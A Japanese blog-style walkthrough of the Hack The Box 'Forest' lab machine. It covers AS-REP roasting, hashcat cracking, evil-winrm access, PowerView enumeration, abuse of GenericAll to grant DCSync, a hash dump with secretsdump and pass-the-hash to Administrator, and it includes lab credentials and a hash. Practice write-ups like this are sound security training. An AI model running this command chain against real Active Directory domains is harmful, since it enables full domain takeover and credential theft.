🐡

Forest

2023/11/12に公開

全体の流れ

  • 資格情報のないドメイン固有の列挙
    • 匿名アクセスを可能なサービスの検索
        ー ユーザー名を指定せずにAS-REPロースト可能なユーザーを検索
      • AS-REPがサービスアカウント「svc-alfresco」をロースト
        • hashcatでAS-REPハッシュをクラックし、WinRMへの足がかりを得る。
  • エクスプロイト後の列挙を続行し、ネストされたグループを導くPowerViewを使用してネストされているすべてのグループを明らかにすると、実質的に「Account
    • PowerViewを使用してネストされているすべてのグループを明らかにする
    • 完全なアクセス許可を取得し、ユーザーを作成してグループに追加できます (管理者を除く)。
  • サブシステムに GenericAllそのグループのユーザーに任意の Active Directory アクセス許可を付与できることが分かるそこから、ユーザーにDCSync権限を付与し、すべてのDCハッシュをダンプできるようにします。
      ー ユーザーにDCSync権限を付与し、すべてのDCハッシュをダンプできるようにする。
  • pass-the-hash攻撃を実行し、組み込みのドメイン管理者アカウントとしてシェルを取得

SCAN

nmapを利用したSCAN

nmap

  • 実行結果
      ```
  • 結果の考察
    • OS : Windows Server 2016
    • Conputer Name : FOREST
    • FQDN : FOREST.htb.local
    • 使用できそうなport
      • 53/TCP : DNS
      • 88/TCP : Kerberos
      • 135,139,445/TCP : RPC/SMB
      • 389,3268,636,3269/TCP : LDAP/S
      • 5985/TCP : WinRM

AS-REPロースト可能なサービスアカウントの列挙及びハッシュ要求

GetNPUsers.py htb.htb/ -dc-ip 10.10.10.100
GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request

HashcatによるAS-REPハッシュの解読

Hashタイプの確認

hashcat -h | grep -i "AS-REP"

hashクラック

hashcat -m 18200 ./hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt

SCAN

取得した資格情報が有効かどうかの確認

crackmapexec smb 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

  • 結果の考察
      - smbでは有効ではなかった。
    crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
  • 結果の考察
      - winrmは有効であることを確認

Initial Access

evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

ドメインの列挙(net コマンド)

Domain Userの確認

net user /domain

ドメイン管理者が誰であるかを確認

net groups "Domain Admins" /domain

グループを列挙

net group /domain

ローカルグループの確認

net localgroup

現在のユーザのドメイン情報確認

net user svc-alfresco /domain

  • 結果の考察
    • ネストされている情報を取得できないため別の手法が必要

ドメインの列挙(powerview)

概要

  • ncコマンドでは確認できなかったためpowerviewコマンドで列挙を行う。

upload及びimport

upload /opt/hackthebox/Forest/PowerView.ps1

  • EvilWin-RMの機能でupload
    . .\PowerView.ps1
    • 省略コマンドでモジュールをimport
      #### domainの列挙
      Get-DomainGroup -MemberIdentity 'svc-alfresco' | select samaccountname
  • 結果の考察
      - 現在のユーザーが 3 つのグループに属していること
    • net user コマンドを使用しても表示されない「特権 IT アカウント」がここに表示
      • このグループが入れ子になっている可能性が高い
Get-DomainGroup 'Privileged IT Accounts' | select samaccountname,memberof
Get-DomainGroup 'Account Operators' | select samaccountname,memberof
Get-DomainGroup 'Account Operators'
  • 結果の考察
    • Account Operators グループは、制限付きのアカウント作成権限をユーザーに付与します。
      • このグループのメンバーは、ほとんどの種類のアカウントを作成および変更可能
        • グループ メンバーは、ドメイン コントローラーにローカルでログインできる。
    • Account Operators グループのメンバーが管理できないグループ
      • administrators アカウント、
      • administratorsのユーザーアカウント
      • Server Operators
      • Account Operators
      • Backup Operators
      • Print Operators groups.
      • これらのグループのメンバーは、ユーザー権限を変更できません。

ACEの探索

概要

  • GenericAll – オブジェクトに対する完全な権限 (グループへのユーザーの追加またはユーザーのパスワードのリセット)
  • GenericWrite – オブジェクトの属性 (ログオン スクリプトなど) の更新
  • WriteOwner – オブジェクトの所有者を攻撃者の制御するユーザーへの変更 オブジェクトを乗っ取る
  • WriteDACL – オブジェクトの ACE を変更し、攻撃者にオブジェクトに対するフル コントロール権限を与える
  • AllExtendedRights – ユーザーをグループに追加したり、パスワードをリセットしたりする機能
  • ForceChangePassword – ユーザーのパスワードを変更する機能
  • Self (Self-Membership) – 自分をグループに追加する機能
$ADSI=[ADSI]"LDAP://DC=htb,DC=local"

$ADSI.psbase.get_ObjectSecurity().getAccessRules($true, $true,[system.security.principal.NtAccount]) | Where-Object {$_.IdentityReference -like "*"} | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"} | Where-Object {$_.AccessControlType -like "*Allow*"}
  • 結果の考察
    • net group /domainの出力結果にあったExchange Trusted Subsystemを確認

userの作成

User作成(password 及び 所属グループ)

net user /add pwnt P@ssw0rd /domain

net group /add 'Exchange Trusted Subsystem' pwnt /domain

「DCSync」権限を付与

$SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\pwnt', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity pwnt -Rights DCSync

DCSync 攻撃による DC 内のすべてのハッシュのダンプ

secretsdump.py htb.local/pwnt:'P@ssw0rd'@10.10.10.161

権限昇格

evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6

Discussion